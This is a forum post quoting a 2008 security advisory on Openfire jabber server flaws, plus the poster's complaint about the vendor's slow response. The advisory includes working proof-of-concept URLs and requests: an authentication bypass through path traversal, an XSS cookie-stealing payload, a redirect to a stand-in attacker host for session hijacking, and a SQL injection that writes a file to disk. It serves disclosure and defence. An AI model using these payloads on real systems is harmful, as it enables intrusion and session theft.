There was a posting on Full-disclosure today about various security issues in OpenFire, I quote from the original posting by Andreas Kurtz.

Source: http://www.andreas-kurtz.de/advisories/AKADV2008-001-v1.0.txt

Full-disclosure: http://archives.neohapsis.com/archives/fulldisclosure/2008-11/0156.html

I really like Openfire but I don't really like the facts that Andreas Kurtz (according to his posting) contacted Jive Software but no one managed to fix the issues within 6 months.

Any comment about that?

thanks

ktk

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Advisory:               Openfire Server Multiple Vulnerabilities 
Advisory ID:            AKADV2008-001
Release Date:           2008/11/07
Revision:               1.0
Last Modified:          2008/11/07
Date Reported:          2008/05/17
Author:                 Andreas Kurtz (mail at andreas-kurtz.de)
Affected Software:      Openfire Server <= 3.6.0a
Remotely Exploitable:   Yes
Risk:                   Critical (x) High ( ) Medium ( ) Low ( ) 
Vendor URL:             http://www.igniterealtime.org
                        http://www.jivesoftware.com/
Vendor Status:          No patch released yet.      
Patch development time: N/A


Vulnerability description:
- --------------------------

The jabber server Openfire (<= version 3.6.0a) contains several serious 
vulnerabilities. Depending on the particular runtime environment these 
issues can potentially even be used by an attacker to execute code 
on operating system level.
 
1) Authentication bypass
This vulnerability provides an attacker full access to all functions 
in the admin webinterface without providing any user credentials.
The Tomcat filter which is responsible for authentication could be 
completely circumvented.

2) SQL injection
It is possible to pass SQL statements to the backend database through 
a SQL injection vulnerability. Depending on the particular 
runtime environment and database permissions it is even possible to 
write files to disk and execute code on operating system level.

3) Multiple Cross-Site Scripting 
Permits arbitrary insertion of HTML- and JavaScript code in login.jsp.
An attacker could also manipulate a parameter to specify 
a destination to which a user will be forwarded to after successful 
authentication.


Technical details:
- ------------------

1) Authentication bypass
Authentication to the openfire admin interface is secured by a filter in
the Tomcat application server (org.jivesoftware.admin.AuthCheckFilter).
This filter guarantees that access to the admin interface is only granted 
to authenticated users. Otherwise they get redirected to a login page.

A design error in Openfire enables access to internal functions 
without the need for admin user credentials. 
The deployment descriptor (web.xml) configures some exclude values 
for the AuthCheckFilter:

<filter>     
  <filter-name>AuthCheck</filter-name>
  <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
  <init-param>
    <param-name>excludes</param-name>          
    <param-value>login.jsp,index.jsp?logout=true,setup/index.jsp,
               setup/setup-,.gif,.png,error-serverdown.jsp</param-value>
  </init-param>
</filter>
 
When a request URL contains one of these Exclude-Strings the 
auth check mechanism is totally circumvented. This was considered 
necessary for the initial setup process or the presence plugin. 
Following POC demonstrates how an attacker could access 
internal functions by manipulating the URL providing one of these 
excludes(/setup/setup-/../../):

http://www.foo.bar:9090/setup/setup-/../../log.jsp?log=info&mode=asc&lines=
All

2) SQL injection
The parameter "type" in sipark-log-summary.jsp is prone to 
SQL injection. Untrusted user data enters the application in 
sipark-log-summary.jsp (line 163):

     String type = ParamUtils.getParameter(request, "type");

The function getCalls() in org.jivesoftware.openfire.sip.calllog.CallLogDAO
processes this user input (SQLCondition) and constructs a SQL statement:

    String sql = "SELECT * FROM sipPhoneLog";

    sql = SQLCondition != null && !SQLCondition.equals("") ? 
          sql + " WHERE " + SQLCondition : sql;

    sql += " ORDER BY datetime DESC";
          
That statement is executed in the method
createScrollablePreparedStatement() 
in CallLogDAO (line 411):

     return con.prepareStatement(sql);
     
In that case there is a SQL injection vulnerability present even though 
prepared statemens are used. This happens because the string sql is
dynamically 
concatenated *before* it is passed to the prepared statement object. 

3) Cross-Site Scripting
The parameter "url" in login.jsp was vulnerable to Cross-Site Scripting
(XSS). 
This vulnerability is the only one which was fixed within the last 6
months.

http://www.foo.bar:9090/login.jsp?url="/><script>alert(document.cookie);</s
cript>
                              
An attacker could also manipulate the parameter to specify a 
destination to which a user will be forwarded to after successful 
authentication:

http://www.foo.bar:9090/login.jsp?url=http://www.attacker.com/StealSession

If a user authenticates using that link it is easily possible for an 
attacker to hijack the users session.

Furthermore the parameter "username" in login.jsp is still vulnerable 
to Cross-Site Scripting attacks.

     
Putting it all together:
- ------------------------

Since the SIP-Plugin is deactivated by default, an attacker needs to 
install it using the authentication bypass vulnerability and the 
following POST request:

POST
http://www.foo.bar:9090/setup/setup-/../../dwr/exec/downloader.installPlugi
n.dwr HTTP/1.1
Host: www.foo.bar:9090

callCount=1
c0-scriptName=downloader
c0-methodName=installPlugin
c0-id=7931_1210973487852
c0-param0=string:http%3A%2F%2Fwww.igniterealtime.org%2Fprojects%2Fopenfire%
2Fplugins%2Fsip.jar
c0-param1=string:661780277
xml=true

After that activation the described SQL injection vulnerability can 
be used in a single unauthenticated request.
The following proof of concept uses a mysql database:

http://www.foo.bar:9090/setup/setup-/../../plugins/sip/sipark-log-summary.j
sp?
type=all'UNION%20SELECT%20'attack-code'%20INTO%20OUTFILE%20'/tmp/attack.sh'
%20/*&startDate=Any&endDate=Any&submit=true&get=Search


Solution:
- ---------

Since the vendor didn't release a patch within the last 6 months it is 
highly recommended to deactivate access to the entire admin interface. 
This can be achieved for example by blocking the according ports 
(tcp/9090 & tcp/9091 by default) with a firewall. Following communication 
to the admin interface can be done via SSL tunnels.

For more details see: http://www.andreas-kurtz.de/archives/63


History:
- --------

  2008/05/17 - Vendor notified using sales@jivesoftware.com
  2008/05/18 - Vendor notified using gaston@jivesoftware.com
  2008/05/20 - Vendor response
  2008/05/20 - Detailed vulnerability information sent to the vendor 
  2008/05/21 - Vendor confirms the vulnerability
  2008/08/18 - Asked vendor for up to date information regarding the
reported issues
  2008/10/18 - Again asked vendor for up to date information regarding the
reported issues
  2008/10/31 - Informed vendor of planned advisory realease on 2008/11/05
(no response)
  2008/11/07 - Full technical details and recommended measures released to
general public
           

Credits:
- --------

  Vulnerability found and advisory written by Andreas Kurtz.

  
References:
- -----------

  http://www.andreas-kurtz.de/archives/63
  

Changes:
- --------

  Revision 0.1 - Initial draft release to the vendor
  Revision 1.0 - Final version released to general public


Disclaimer:
- -----------

The information within this advisory may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are no warranties, implied or express, with regard
to this information. In no event shall the author be liable for any
direct or indirect damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this
information is at the user's own risk.


PGP Key:
- --------

  http://www.andreas-kurtz.de/ak-pubkey.asc

Copyright 2008 Andreas Kurtz. All rights reserved.


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